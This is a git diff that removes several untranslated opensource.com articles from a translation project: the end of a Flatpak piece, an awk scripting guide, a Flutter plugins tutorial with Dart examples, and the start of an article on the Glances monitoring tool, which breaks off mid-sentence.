examples, there are manifests for _every application_ available on [Flathub][13]. - -The resources to build and use Flatpaks are plentiful, and Flatpak, along with containers and sandboxed apps, are arguably [the future][14], so get familiar with them, start integrating them with your Jenkins pipelines, and enjoy easy and universal Linux app packaging. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/10/how-build-flatpak-packaging - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/flatpak-lead-image.png?itok=J93RG_fi -[2]: http://notabug.org -[3]: http://savannah.nongnu.org/ -[4]: http://debian.org -[5]: https://opensource.com/article/19/7/introduction-gnu-autotools -[6]: https://www.redhat.com/sysadmin/yaml-tips -[7]: https://opensource.com/article/17/1/linux-plays-sound -[8]: http://flathub.org -[9]: https://opensource.com/resources/what-is-git -[10]: https://opensource.com/life/16/3/submit-github-pull-request -[11]: https://opensource.com/sites/default/files/gnome-activities-kblocks.jpg (The Activities menu in GNOME) -[12]: http://docs.flatpak.org/en/latest/introduction.html -[13]: https://github.com/flathub -[14]: https://silverblue.fedoraproject.org/ diff --git a/sources/tech/20191111 A guide to intermediate awk scripting.md b/sources/tech/20191111 A guide to intermediate awk scripting.md deleted file mode 100644 index 53e7126eb1..0000000000 --- a/sources/tech/20191111 A guide to intermediate awk scripting.md +++ /dev/null @@ -1,140 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A guide to intermediate awk scripting) -[#]: via: (https://opensource.com/article/19/11/intermediate-awk-scripting) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -A guide to intermediate awk scripting -====== -Learn how to structure commands into executable scripts. -![Coding on a computer][1] - -This article explores awk's capabilities, which are easier to use now that you know how to structure your command into an executable script. - -### Logical operators and conditionals - -You can use the logical operators **and** (written **&&**) and **or** (written **||**) to add specificity to your conditionals. - -For example, to select and print only records with the string "purple" in the second column _and_ an amount less than five in the third column: - - -``` -`$2 == "purple" && $3 < 5 {print $1}` -``` - -If a record has "purple" in column two but a value greater than five in column three, then it is _not_ selected. Similarly, if a record matches column three's requirement but lacks "purple" in column two, it is also _not_ selected. - -### Next command - -Say you want to select every record in your file where the amount is greater than or equal to eight and print a matching record with two asterisks (******). You also want to flag every record with a value between five (inclusive) and eight with only one asterisk (*****). There are a few ways to do this, and one way is to use the **next** command to instruct awk that after it takes an action, it should stop scanning and proceed to the _next_ record. - -Here's an example: - - -``` -NR == 1 { -  print $0; -  next; -} - -$3 >= 8 { -  printf "%s\t%s\n", $0, "**"; -  next; -} - -$3 >= 5 { -  printf "%s\t%s\n", $0, "*"; -  next; -} - -$3 < 5 { -  print $0; -} -``` - -### BEGIN command - -The **BEGIN** command lets you print and set variables before awk starts scanning a text file. For instance, you can set the input and output field separators inside your awk script by defining them in a **BEGIN** statement. This example adapts the simple script from the previous article for a file with fields delimited by commas instead of whitespace: - - -``` -#!/usr/bin/awk -f -# -# Print each record EXCEPT -# IF the first record contains "raspberry", -# THEN replace "red" with "pi" - -BEGIN { -        FS=","; -} - -$1 == "raspberry" { -        gsub(/red/,"pi") -} -``` - -### END command - -The **END** command, like **BEGIN**, allows you to perform actions in awk after it completes its scan through the text file you are processing. If you want to print cumulative results of some value in all records, you can do that only after all records have been scanned and processed. - -The **BEGIN** and **END** commands run only once each. All rules between them run zero or more times on _each record_. In other words, most of your awk script is a loop that is executed at every new line of the text file you're processing, with the exception of the **BEGIN** and **END** rules, which run before and after the loop. - -Here is an example that wouldn't be possible without the **END** command. This script accepts values from the output of the **df** Unix command and increments two custom variables (**used** and **available**) with each new record. - - -``` -$1 != "tempfs" { -    used += $3; -    available += $4; -} - -END { -    printf "%d GiB used\n%d GiB available\n", used/2^20, available/2^20; -} -``` - -Save the script as **total.awk** and try it: - - -``` -`df -l | awk -f total.awk` -``` - -The **used** and **available** variables act like variables in many other programming languages. You create them arbitrarily and without declaring their type, and you add values to them at will. At the end of the loop, the script adds the records in the respective columns together and prints the totals. - -### Math - -As you can probably tell from all the logical operators and casual calculations so far, awk does math quite naturally. This arguably makes it a very useful calculator for your terminal. Instead of struggling to remember the rather unusual syntax of **bc**, you can just use awk along with its special **BEGIN** function to avoid the requirement of a file argument: - - -``` -$ awk 'BEGIN { print 2*21 }' -42 -$ awk 'BEGIN {print 8*log(4) }' -11.0904 -``` - -Admittedly, that's still a lot of typing for simple (and not so simple) math, but it wouldn't take much effort to write a frontend, which is an exercise for you to explore. - -* * * - -_This article is adapted from an episode of [Hacker Public Radio][2], a community technology podcast._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/11/intermediate-awk-scripting - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/lnrCoder) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/code_computer_laptop_hack_work.png?itok=aSpcWkcl (Coding on a computer) -[2]: http://hackerpublicradio.org/eps.php?id=2129 diff --git a/sources/tech/20191112 5 open source plugins for Flutter apps.md b/sources/tech/20191112 5 open source plugins for Flutter apps.md deleted file mode 100644 index 2f529b9303..0000000000 --- a/sources/tech/20191112 5 open source plugins for Flutter apps.md +++ /dev/null @@ -1,853 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 open source plugins for Flutter apps) -[#]: via: (https://opensource.com/article/19/11/open-source-plugins-flutter-apps) -[#]: author: (Baradwaj Varadharajan https://opensource.com/users/baradwaj) - -5 open source plugins for Flutter apps -====== -Create more useful and attractive apps faster with these plugins for -Google's cross-platform development language. -![][1] - -[Flutter][2] is the newest addition to Google's programming cadre. Following the success of Android, Kotlin, and Golang, [Flutter][3] was created as a cross-platform application development language. It is primarily based on the Dart programming construct and is considered to be the next big programming paradigm because its code can run as a mobile app, a web app, and even a desktop app without any major changes. Supposedly it will support Google's upcoming [Fuschia][4] operating system. - -Flutter plugins are simple dependencies that extend the language's capabilities. This list of the top five open source Flutter plugins includes both user interface (UI)-related and function-related plugins. - -The plugins must be included in your **pubspec.yaml** file before they can be used; they are required to make modifications to the **pubspec.yaml** file in the **lib** folder inside the project. - -### Flutter video-player plugin - -The video_player plugin allows you to embed videos to play in Flutter apps.  - -_Note: Up to Flutter 1.9, there is no video player support present in Flutter, so you have to depend on external plugins like video_player. This provides us with the VideoPlayer class which we will be using here._ - -Before using the VideoPlayer class in Flutter, you have to do the following for iOS and Android applications. - -#### Prerequisites - -**For Android:** - -Make sure that the minimum SDK is set to 21. You can modify this through the Build Gradle inside the **android>app** folder. - -Next, make sure that the **AndroidManifest.xml** file has internet permission enabled by adding the following line in the **AndroidManifest.xml** file: - - -``` -`` -``` - -**For iOS:** - -To give permission to use the internet to render the videos (if required), add the following lines to the **info.plist** file in **<project root>/ios/Runner/Info.plist**: - - -``` -<key>NSAppTransportSecurity</key> -<dict> -  <key>NSAllowsArbitraryLoads</key> -  <true/> -</dict> -``` - -Once the prerequisites for Android and iOS are done, add the following line to the **pubspec.yaml** file in the **dependency** section: - - -``` -`dependencies: video_player: ^0.10.1+3` -``` - -Then use **get packages** to sync the project. - -#### Video_Player plugin basics - -The Video_Player plugin provides support for playing network and local videos on a device by creating a simple API to call the videos. The example application below shows how the Video_Player plugin uses the controller object and how to create the **Future<> Builder** to play the video on loading. - -Start by using the [Scaffold widget][5] as the parent body widget. The goal is for the user to be able to play and pause a video using button controls. - -In order to call the video player object from anywhere, you need a controller to hold it. The VideoPlayerController class makes this possible. The example application pieces it all together. - -#### Example Flutter Video Player app - - -``` -import 'dart:async'; - -import 'package:flutter/material.dart'; -import 'package:video_player/video_player.dart'; - -void main() => runApp(VideoPlayerApp()); - -class VideoPlayerApp extends StatelessWidget { -  @override -  Widget build(BuildContext context) { -    return MaterialApp( -      title: 'Video Player Demo', -      home: VideoPlayerScreen(), -    ); -  } -} - -class VideoPlayerScreen extends StatefulWidget { -  VideoPlayerScreen({Key key}) : super(key: key); - -  @override -  _VideoPlayerScreenState createState() => _VideoPlayerScreenState(); -} - -class _VideoPlayerScreenState extends State<VideoPlayerScreen> { -  VideoPlayerController _controller; -  Future<void> _initializeVideoPlayerFuture; - -  @override -  void initState() { -    _controller = VideoPlayerController.network( -      '', -    ); - -    // Initialize the controller and store the Future for later use. -    _initializeVideoPlayerFuture = _controller.initialize(); - -    // Use the controller to loop the video. -    _controller.setLooping(true); -    super.initState(); -  } - -  @override -  void dispose() { -    // Ensure disposing of the VideoPlayerController to free up resources. -    _controller.dispose(); - -    super.dispose(); -  } - -  @override -  Widget build(BuildContext context) { -    return Scaffold( -      drawer: Drawer(), -      backgroundColor: Colors.orangeAccent, -      appBar: AppBar( -        title: Text('Bee Video'), -        backgroundColor: Colors.black87, -      ), -      // Use a FutureBuilder to display a loading spinner while waiting for the -      // VideoPlayerController to finish initializing. -      body: Stack( -        children: <Widget>[ -          Center(child:FutureBuilder( -            future: _initializeVideoPlayerFuture, -            builder: (context, snapshot) { -              if (snapshot.connectionState == ConnectionState.done) { -                // If the VideoPlayerController has finished initialization, use -                // the data it provides to limit the aspect ratio of the video. -                return AspectRatio( -                  aspectRatio: _controller.value.aspectRatio, -                  // Use the VideoPlayer widget to display the video. -                  child: VideoPlayer(_controller), -                ); -              } else { -                // If the VideoPlayerController is still initializing, show a -                // loading spinner. -                return Center(child: CircularProgressIndicator()); -              } -            }, -          )), -          Center( -              child: -             ButtonTheme( -                  height: 100.0, -                  minWidth: 200.0, -                  child: RaisedButton( -                    padding: EdgeInsets.all(60.0), -                    color: Colors.transparent, -                    textColor: Colors.white, -                    onPressed: () { -                      // Wrap the play or pause in a call to `setState`. This ensures the -                      // correct icon is shown. -                      setState(() { -                        // If the video is playing, pause it. -                        if (_controller.value.isPlaying) { -                          _controller.pause(); -                        } else { -                          // If the video is paused, play it. -                          _controller.play(); -                        } -                      }); -                    }, -                    child: Icon( -                      _controller.value.isPlaying ? Icons.pause : Icons.play_arrow, -                      size: 120.0, -                    ), -                  )) -          ) -        ], -      ), -    ); -  } -} -``` - -Here's the resulting application. - -![Flutter Video Plugin][6] - -![Flutter Video Plugin][7] - -### Flutter Shimmer Effect plugin - -The Flutter [Shimmer Effect][8] UI plugin is fairly straightforward: You just make use of only one class in your widget tree, and the work is done. Here is what the Shimmer Effect looks like: - -![Flutter Shimmer Effect plugin][9] - -To implement this effect, jump into the widget definition and use the **Shimmer** class in your widget tree with this option: - - -``` -`Shimmer.fromColors` -``` - -Next, finalize the application by filling out the properties described below. - -#### Shimmer.fromColors properties - -**Shimmer.fromColors** has the following properties: - - * **baseColor:** This is the shimmer's base color that gets shown on the widget. This is the primary color and the one the child widget will use. - * **HighlightColor:** This is the color that produces the shimmer-like effect by continually waving across the child widget. - * **Child:** This holds whatever widget produces the Shimmer Effect. It could be a Text widget or any complex structure. - - - -The example program shows how these attributes work across complex widgets. - -#### Example Flutter Shimmer Effect app - -This example produces the Shimmer Effect for two important widgets: the Text widget and the [Listview widget][10]. - - -``` -import 'dart:async'; -import 'package:flutter/material.dart'; -import 'package:shimmer/shimmer.dart'; - -void main() => runApp(ShimmerEffectApp()); - -class ShimmerEffectApp extends StatelessWidget { -@override -Widget build(BuildContext context) { -return MaterialApp( -title: 'Sample ShimmerEffect Widget', -home: ShimmerWidget(), -); -} -} - -class ShimmerWidget extends StatefulWidget { -ShimmerWidget({Key key}) : super(key: key); - -@override -_ShimmerWidgetState createState() => _ShimmerWidgetState(); -} - -class _ShimmerWidgetState extends State { - -@override -void initState() { -super.initState(); -} - -@override -Widget build(BuildContext context) { -return Scaffold( -appBar: AppBar(title: Text("Shimmer effect"),), -body: Container( -padding: EdgeInsets.all(25.0), -child:Center( -child: Shimmer.fromColors( -direction: ShimmerDirection.rtl, -period: Duration(seconds:5), -child: Column( -children: [0, 1, 2, 3] -.map((_) => Padding( -padding: const EdgeInsets.only(bottom: 8.0), -child: Row( -crossAxisAlignment: CrossAxisAlignment.start, -children: [ -Container( -width: 48.0, -height: 48.0, -color: Colors.white, -), -Padding( -padding: -const EdgeInsets.symmetric(horizontal: 8.0), -), -Expanded( -child: Column( -crossAxisAlignment: CrossAxisAlignment.start, -children: [ -Container( -width: double.infinity, -height: 8.0, -color: Colors.white, -), -Padding( -padding: -const EdgeInsets.symmetric(vertical: 2.0), -), -Container( -width: double.infinity, -height: 8.0, -color: Colors.white, -), -Padding( -padding: -const EdgeInsets.symmetric(vertical: 2.0), -), -Container( -width: 40.0, -height: 8.0, -color: Colors.white, -), -], -), -) -], -), -)) -.toList(), -), -baseColor: Colors.grey[700], -highlightColor: Colors.grey[100]), -) -), -); -} -} -``` - -Here's the resulting application. - -![Flutter Shimmer Effect plugin][11] - -![Flutter Shimmer Effect plugin][12] - -### Flutter Badges plugin - -[Flutter Badges][13] is a very useful UI plugin that marks a notification count, a count of items in an e-commerce basket, etc. - -To use the Flutter Badges plugin, add the following dependency in your **pubspec.yaml** file: - - -``` -dependencies: -    badges: ^1.1.0 -``` - -Then, import the following line into your **main.dart** file: - - -``` -`import 'package:badges/badges.dart';` -``` - -Now, you can create badges with a simple call to the **Badge class.** - -#### Badge class properties - -Following are the Badge class's available properties: - - * **badgeContent:** This is the attribute that takes in the value of the Badge. It could be a number, a letter, etc. Make sure to make it as small as possible! - * **BadgeColor:** Control the color of the badge by adjusting the BadgeColor colors property. - * **AnimationType:** This enables three animations for the Badge: - * **BadgeAnimationType.scale:** Scales animation once loading happens. - * **BadgeAnimationType.fade:** Fades animation once loading happens - * **BadgeAnimationType.slide:** Slides animation once loading happens - * **shape:** This controls the shape of the badge; it could be a circle or a square. - * **AnimationDuration:** This takes in a Duration class as its value to set how long the animation should last. - - - -Once these attributes are set, you can create a simple app like the following. - -#### Example Flutter Badge application - -Add the following to your **main.dart** file and run the application. - - -``` -import 'dart:async'; -import 'package:flutter/material.dart'; -import 'package:badges/badges.dart'; - -void main() => runApp(BadgesApp()); - -class BadgesApp extends StatelessWidget { -@override -Widget build(BuildContext context) { -return new MaterialApp( -title: 'APP', -home: BadgesWidget(), -); -} -} - -class BadgesWidget extends StatefulWidget { -BadgesWidget({Key key}) : super(key: key); - -@override -_BadgesWidgetState createState() => _BadgesWidgetState(); -} - -class _BadgesWidgetState extends State { - -int value = 0; - -@override -void initState() { -super.initState(); -} - -@override -Widget build(BuildContext context) { -return Scaffold( -appBar: AppBar(title:Text("Sample Badges")), -body: Center( -child: Container( -padding: EdgeInsets.all(25.0), -child: Column( -children: [ -Spacer(), -Badge( -child: RaisedButton( -color: Colors.blueGrey, -child: Text("Notifications", style: TextStyle(color: Colors.white),), -onPressed: (){ -setState(() { -value = value + 1; -}); -},), -badgeContent: Text('$value',style: TextStyle(color: Colors.white),), -badgeColor: Colors.red, -animationType: BadgeAnimationType.scale, -animationDuration: Duration(milliseconds: 500), -shape: BadgeShape.circle, -), -Spacer(), -Badge( -child: RaisedButton( -color: Colors.blueGrey, -child: Text("Messages", style: TextStyle(color: Colors.white),), -onPressed: (){ - -},), -badgeContent: Text("2",style: TextStyle(color: Colors.white),), -badgeColor: Colors.red, -animationType: BadgeAnimationType.scale, -animationDuration: Duration(seconds: 1), -shape: BadgeShape.circle, -), -Spacer(), -Badge( -child: RaisedButton( -color: Colors.blueGrey, -child: Text("Notifications", style: TextStyle(color: Colors.white),), -onPressed: (){ -},), -badgeContent: Text("2",style: TextStyle(color: Colors.white),), -badgeColor: Colors.red, -animationType: BadgeAnimationType.scale, -animationDuration: Duration(seconds: 1), -shape: BadgeShape.circle, -), -Spacer(flex: 4,) -], -), -), -) -); -} -} -``` - -Here's the resulting application. - -![Flutter Badges plugin][14] - -### Flutter Google Maps plugin - -Adding Google Maps in Flutter apps is a very easy process with the help of the **google_maps_flutter** plugin. - -_Note: The Google Maps Flutter plugin is still in developer preview (so it cannot be released to the app store yet). Make sure to wait for the stable release before using it._ - -The main prerequisites for using this plugin are to have a [Google Cloud Platform][15] account and to create a Google Maps API key. If you do not know how to obtain a key, see [Google Maps Integration in Flutter][16]. - -Once the Google Maps SDK is enabled with a credential/API key, you can use it in your Flutter app. Fill out the following with the key. - -**For Android:** - -Go to **android>app>src>main>Androidmanifest.xml** and make sure that the manifest looks like the following (replacing YOUR KEY HERE with your API key): - - -``` -<manifest ... -  <application ... -    <meta-data android:name="com.google.android.geo.API_KEY" -               android:value="YOUR KEY HERE"/> -``` - -**For iOS:** - -Edit the **Appdelegate.m** file as follows (replacing YOUR KEY HERE with your API key): - - -``` -@implementation AppDelegate - -\- (BOOL)application:(UIApplication *)application -    didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { -  [GMSServices provideAPIKey:@"YOUR KEY HERE"]; -  [GeneratedPluginRegistrant registerWithRegistry:self]; -  return [super application:application didFinishLaunchingWithOptions:launchOptions]; -} -@end -``` - -#### GoogleMaps widget basics - -Now it's time to bring the Maps inside the Flutter application. To begin, add the following dependency in the **pubspec.yaml** file: - - -``` -dependencies: - google_maps_flutter: ^0.5.21 -``` - -Import the following package to the **main.dart** file: - - -``` -`import 'package:google_maps_flutter/google_maps_flutter.dart';` -``` - -This package provides the following widgets: - -##### GoogleMap - -The GoogleMap widget provides the main control over Google Maps inside a Flutter application. It has several important attributes that help create the maps you require. They are: - - * **mapType:** This attribute defines what type of map (satellite, hybrid, or normal) is shown. Select one by with the value MapType.satellite, MapType.hybrid, or MapType.normal. - * **InitialCameraPosition:** The initial camera position is important for rendering the map on the Flutter UI and setting the camera position (from which the camera will move). Set the initial camera position by creating a variable with the **CameraPosition** class as its value. - * **OnMapCreated:** This is a callback that fires whenever the camera position changes (e.g., whenever the user moves the map by pinching or swiping it). To move the camera angle programmatically, use GoogleMapController instead. - - - -##### GoogleMapController - -This class controls the Google Map by creating an instance of it. There is no explicit way to change the camera position of the Google Map, but you can use the GoogleMapController to control all sorts of activities on the GoogleMap class. - -##### CameraPosition - -The CameraPosition class provides the camera position values that are required to show any position on the GoogleMap. - - -``` -CameraPosition initPosition = CameraPosition( -target: LatLng(14.5, 25.7), zoom: 7, ); -``` - -The CameraPosition class takes in various attributes, like target, zoom, etc. The **Target** attribute marks the latitude and longitude position on the Google Map. The class takes in a double value like **LatLng(double, double)** to mark it at that position. - -#### Example Flutter GoogleMaps app - -This example app creates an animated camera transition on a Google Map. This is a very useful way to provide [Google Maps in Flutter][16] applications. - - -``` -import 'dart:async'; -import 'package:flutter/material.dart'; -import 'package:google_maps_flutter/google_maps_flutter.dart'; - -void main() => runApp(GoogleMapApp()); - -class GoogleMapApp extends StatelessWidget { -@override -Widget build(BuildContext context) { -return MaterialApp( -title: 'Sample GoogleMap Widget', -home: GoogleMapWidget(), -); -} -} - -class GoogleMapWidget extends StatefulWidget { -GoogleMapWidget({Key key}) : super(key: key); - -@override -_GoogleMapWidgetState createState() => _GoogleMapWidgetState(); -} - -class _GoogleMapWidgetState extends State { - -Completer _controller = Completer(); - -@override -void initState() { -super.initState(); -} - -CameraPosition initPosition = CameraPosition( -target: LatLng(14.5, 25.7), -zoom: 7, -); - -void updateGoogleMap() -async{ -GoogleMapController cont = await _controller.future; -setState(() { -CameraPosition newtPosition = CameraPosition( -target: LatLng(14.5, 28.7), -zoom: 4, -); -cont.animateCamera(CameraUpdate.newCameraPosition(newtPosition)); -}); - -} - -@override -Widget build(BuildContext context) { -return Scaffold( -appBar: AppBar( -backgroundColor: Colors.black45, -title: Text("Update Google Map"), -), -body: Center( -child: Column( -children: [ -Container( -height: 400.0, -child: GoogleMap( -mapType: MapType.hybrid, -initialCameraPosition: initPosition, -onMapCreated: (GoogleMapController controller){ -_controller.complete(controller); -}, -), -), -FlatButton( -child: Text("Update Map", style: TextStyle(color: Colors.white),), -color: Colors.deepOrange, -onPressed: (){ -updateGoogleMap(); -}, -) -], -), -)); -} -} -``` - -Here's the resulting application. - -![Flutter Google Maps plugin][17] - -![Flutter Google Maps plugin][18] - -### Flutter ImagePicker image gallery plugin - -The ImagePicker plugin integrates an image gallery into a Flutter app. - -To begin using the [**image_picker**][19] plugin, add the following dependency in the **pubspec.yaml** file: - - -``` -dependencies: -  image_picker: ^0.6.1+4 -``` - -This requires you to add an import statement in your main file, e.g., **main.dart** file: - - -``` -`import 'package:image_picker/image_picker.dart';` -``` - -To use the Flutter application in iOS, make the following changes in the **info.plist** file: - - * **NSPhotoLibraryUsageDescription:** This describes why the app needs permission to use the photo library. This is called _Privacy - Photo Library Usage Description_ in the visual editor. - * **NSCameraUsageDescription:** This describes why your app needs access to the camera. This is called _Privacy - Camera Usage Description_ in the visual editor. - * **NSMicrophoneUsageDescription:** This describes why your app needs access to the microphone if you intend to record videos. This is called _Privacy - Microphone Usage Description_ in the visual editor. - - - -#### Image Picker widget basics - -To use the ImagePicker widget, just call the class [**ImagePicker**][20]. There are two options for this class: - - * Choose an image or choose a video - * Choose an image or video directly from a gallery or a camera source - - - -This is possible through two method callbacks: - - * **ImagePicker.pickImage()** with the source **ImageSource.gallery** or **ImageSource.camera** - * **ImagePicker.pickVideo()** with the above sources - - - -Both of these calls are async calls, which require **setState()** on the image or video that is selected. - -**ImagePicker.<source call>** returns the file location of the image/video. You must load the image using the **Image.file()** call. - -All of this is explained in the example application. - -#### Example Flutter ImagePicker widget app - -This example app creates an [Image Picker button][20] to select an image from the gallery or directly from the camera. - - -``` -import 'dart:async'; -import 'dart:io'; -import 'package:flutter/material.dart'; -import 'package:image_picker/image_picker.dart'; - -void main() => runApp(ImagePickerApp()); - -class ImagePickerApp extends StatelessWidget { -@override -Widget build(BuildContext context) { -return MaterialApp( -title: 'Sample Imagepicker Widget', -home: ImagePickerWidget(), -); -} -} - -class ImagePickerWidget extends StatefulWidget { -ImagePickerWidget({Key key}) : super(key: key); - -@override -_ImagePickerWidgetState createState() => _ImagePickerWidgetState(); -} - -class _ImagePickerWidgetState extends State { - -File _image; -@override -void initState() { -super.initState(); -} - -void open_camera() -async { -var image = await ImagePicker.pickImage(source: ImageSource.camera); -setState(() { -_image = image; -}); - -} -void open_gallery() -async { -var image = await ImagePicker.pickImage(source: ImageSource.gallery); -setState(() { -_image = image; -}); -} -@override -Widget build(BuildContext context) { -return Scaffold( -appBar: AppBar(title: Text("Sample Imagepicker Widget"), -backgroundColor: Colors.black45,), -body: Center( -child: Container( -child: Column( -children: [ -Container( -color: Colors.black12, -height: 300.0, -width: 900.0, -child: _image == null ? Text("Still waiting!") : Image.file(_image),), -FlatButton( -color: Colors.deepOrangeAccent, -child: Text("Open Camera", style: TextStyle(color: Colors.white),), -onPressed: (){ -open_camera(); -},), -FlatButton( -color: Colors.limeAccent, - -child:Text("Open Gallery", style: TextStyle(color: Colors.black),), -onPressed: (){ -open_gallery(); -}, -) -], -), -), -) - -); - -} -} -``` - -Here's the resulting application. - -![Flutter ImagePicker widget][21] - -![Flutter ImagePicker widget][22] - -![Flutter ImagePicker widget][23] - -### Summary - -These five plugins are very important for creating a neater UI experience in Flutter apps. They will also help you ramp up faster with Flutter app development. - -* * * - -_Some of the information in this article was previously published at [Android Monks][24]._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/11/open-source-plugins-flutter-apps - -作者:[Baradwaj Varadharajan][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/baradwaj -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/bug-insect-butterfly-diversity-inclusion-2.png?itok=TcC9eews -[2]: https://opensource.com/article/18/6/flutter -[3]: https://flutter.dev/ -[4]: https://en.wikipedia.org/wiki/Google_Fuchsia -[5]: https://androidmonks.com/scaffold-flutter/ -[6]: https://opensource.com/sites/default/files/uploads/flutter1_videoplayer.png (Flutter Video Plugin) -[7]: https://opensource.com/sites/default/files/uploads/flutter2_videoplayer.png (Flutter Video Plugin) -[8]: https://androidmonks.com/shimmer-effect-flutter/ -[9]: https://opensource.com/sites/default/files/uploads/flutter3_shimmergif.gif (Flutter Shimmer Effect plugin) -[10]: https://androidmonks.com/listview-flutter/ -[11]: https://opensource.com/sites/default/files/uploads/flutter4_shimmer.png (Flutter Shimmer Effect plugin) -[12]: https://opensource.com/sites/default/files/uploads/flutter5_shimmer.png (Flutter Shimmer Effect plugin) -[13]: https://androidmonks.com/flutter-badges/ -[14]: https://opensource.com/sites/default/files/uploads/flutter6_samplebadges.png (Flutter Badges plugin) -[15]: https://cloud.google.com/maps-platform/ -[16]: https://androidmonks.com/google-maps-flutter/ -[17]: https://opensource.com/sites/default/files/uploads/flutter7_googlemap.png (Flutter Google Maps plugin) -[18]: https://opensource.com/sites/default/files/uploads/flutter8_googlemap.png (Flutter Google Maps plugin) -[19]: https://pub.dev/packages/image_picker -[20]: https://androidmonks.com/imagepicker-flutter/ -[21]: https://opensource.com/sites/default/files/uploads/flutter9_imagepicker.png (Flutter ImagePicker widget) -[22]: https://opensource.com/sites/default/files/uploads/flutter10_imagepicker.png (Flutter ImagePicker widget) -[23]: https://opensource.com/sites/default/files/uploads/flutter11_imagepicker.png (Flutter ImagePicker widget) -[24]: https://androidmonks.com/flutter-open-source-plugins/ diff --git a/sources/tech/20191128 Monitoring Linux and Windows hosts with Glances.md b/sources/tech/20191128 Monitoring Linux and Windows hosts with Glances.md deleted file mode 100644 index 0c480bc6ea..0000000000 --- a/sources/tech/20191128 Monitoring Linux and Windows hosts with Glances.md +++ /dev/null @@ -1,231 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Monitoring Linux and Windows hosts with Glances) -[#]: via: (https://opensource.com/article/19/11/monitoring-linux-glances) -[#]: author: (David Both https://opensource.com/users/dboth) - -Monitoring Linux and Windows hosts with Glances -====== -The Glances tool offers more information about system performance than -other sysadmin monitoring tools. -![Code going into a computer.][1] - -Sysadmins have many tools to view and manage running processes. For me, these primarily used to be **top**, **atop**, and **htop**. A few years ago, I found [Glances][2], a tool that displays information that none of my other favorites do. All of these tools monitor CPU and memory usage, and most of them list information about running processes (at the very least). However, Glances also monitors filesystem I/O, network I/O, and sensor readouts that can display CPU and other hardware temperatures as well as fan speeds and disk usage by hardware device and logical volume. - -### Glances - -I mentioned Glances in my article [_4 open source tools for Linux system monitoring_][3], but I will delve into it more deeply in this article. If you read my previous article, some of this information may be familiar, but you should also find some new things here. - -Glances is cross-platform because it is written in Python. It can be installed on Windows and other hosts with current versions of Python installed. Most Linux distributions (Fedora in my case) have Glances in their repositories. If not, or if you are using a different operating system (such as Windows), or you just want to get it right from the source, you can find instructions for downloading and installing it in [Glances' GitHub repo][4]. - -I suggest running Glances on a test machine while you try the commands in this article. If you don't have a physical host available for testing, you can explore Glances on a virtual machine (VM), but you won't see the hardware sensors section; after all, a VM has no real hardware. - -To start Glances on a Linux host, open a terminal session and enter the command **glances**. - -Glances has three main sections—Summary, Process, and Alerts—as well as a sidebar. I'll explore them and other details for using Glances now. - -### Summary section - -In its top few lines, Glances' Summary section contains much of the same information as you'll find in other monitors' summary sections. If you have enough horizontal space in your terminal, Glances can show CPU usage with both a bar graph and a numeric indicator; otherwise it will show only the number. - -I like Glances' Summary section better than the ones in other monitors (like **top**); I think it provides the right information in an easily understandable format. - -![Glances display][5] - -The Glances display on a busy Linux host. In the interest of clarity, not all possible displays are shown in the left sidebar. - -The Summary section above provides an overview of the system's status. The first line shows the hostname, the Linux distribution, the kernel version, and the system uptime. - -The next four lines display CPU, memory usage, swap, and load statistics. The left column displays the percentages of CPU, memory, and swap space that are in use. It also shows the combined statistics for all CPUs present in the system. - -Press the **1** key to toggle between the consolidated CPU usage display and the display of the individual CPUs. The following image shows the Glances display with individual CPU statistics. - -![Glances display][6] - -Glances showing the individual CPU statistics. - -This view includes some additional CPU statistics. In either display mode, the descriptions of the CPU usage fields can help you interpret the data displayed in the CPU section. Notice that CPUs are numbered starting at 0 (Zero). - -**CPU** | This is the current CPU usage as a percentage of the total available. ----|--- -**user** | These are the applications and other programs running in user space, i.e., not in the kernel. -**system** | These are kernel-level functions. It does not include CPU time taken by the kernel itself, just the kernel system calls. -**idle** | This is the idle time, i.e., time not used by any running process. -**nice** | This is the time used by processes that are running at a positive, nice level. -**irq** | These are the interrupt requests that take CPU time. -**iowait** | These are CPU cycles that are spent waiting for I/O to occur—this is wasted CPU time. -**steal** | The percentage of CPU cycles that a virtual CPU waits for a real CPU while the hypervisor is servicing another virtual processor. -**ctx-sw** | These are the number of context switches per second; it represents the number of times per second that the CPU switches from running one process to another. -**inter** | This is the number of hardware interrupts per second. A hardware interrupt occurs when a hardware device, such as a hard drive, tells a CPU that it has completed a data transfer or that a network interface card is ready to accept more data. -**sw_int** | Software interrupts tell the CPU that some requested task has completed or that the software is ready for something. These tend to be more common in kernel-level software. - -#### About nice numbers - -Nice numbers are the mechanism used by administrators to affect the priority of a process. It is not possible to change the priority of a process directly, but changing the nice number can modify the results of the kernel scheduler’s priority setting algorithm. Nice numbers run from -20 to +19 where higher numbers are 